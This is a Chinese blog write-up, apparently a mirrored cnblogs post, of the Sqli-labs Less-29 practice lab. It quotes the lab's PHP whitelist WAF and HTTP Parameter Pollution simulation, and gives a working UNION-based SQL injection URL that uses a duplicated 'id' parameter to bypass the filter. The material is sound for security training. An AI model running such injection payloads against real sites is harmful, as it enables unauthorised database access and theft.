zoukankan      html  css  js  c++  java
  • Sqli-labs Less-29 HPP参数污染攻击

    查看源码SQL如下

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

    尝试进行注入

    http://127.0.0.1/sql/Less-29/login.php?id=-1' union select 1,database(),3--+

    系统检测到有问题,跳转到其他的页面了。

    查看源码

    首先,有一个whitelist()方法,确保输入变量为数字,如果输入变量中包含非数字的字符,跳转到hacked.php

    //WAF implimentation with a whitelist approach..... only allows input to be Numeric.
    function whitelist($input)
    {
        $match = preg_match("/^d+$/", $input); //这个正则表达式 意思是 匹配 以数字开头的一个或多个数字且以数字结尾的字符串。
        if($match)
        {
            //echo "you are good";
            //return $match;
        }
        else
        {    
            header('Location: hacked.php');
            //echo "you are bad";
        }
    }

    然后,我们发现$input就是$id1,$id1来自于java_implimentation($qs)

    $qs = $_SERVER['QUERY_STRING']; //获取查询语句,获取的是URL中?后面的值
    $id1=java_implimentation($qs);
    $id=$_GET['id'];
    whitelist($id1);

    接着,查看java_implimentation()方法,发现这个方法是用来模拟HPP的,意思就是说这个方法存在HPP漏洞我们可以利用。

    // The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
    //当受到HPP(HTTP参数污染)的影响时,以下功能可模仿参数的行为。
    function java_implimentation($query_string)
    {
        $q_s = $query_string;
        $qs_array= explode("&",$q_s); //根据&分割字符串并打散为数组
    
        foreach($qs_array as $key => $value)
        {
            $val=substr($value,0,2);
            if($val=="id")
            {
                $id_value=substr($value,3,30); 
                return $id_value;
                echo "<br>";
                break;
            }
        }
    }

    因此根据HPP的原理,我们可以构造payload:

    http://127.0.0.1/sql/Less-29/login.php?id=1&id=-1' union select 1,database(),3--+

  • 相关阅读:
    day89
    day88
    day87
    day86
    day85
    day84
    day83
    Maven仓库汇总
    [转载]AngularJS入门教程04:双向绑定
    [转载]AngularJS入门教程03:迭代器
  • 原文地址:https://www.cnblogs.com/zhengna/p/12656057.html
Copyright © 2011-2022 走看看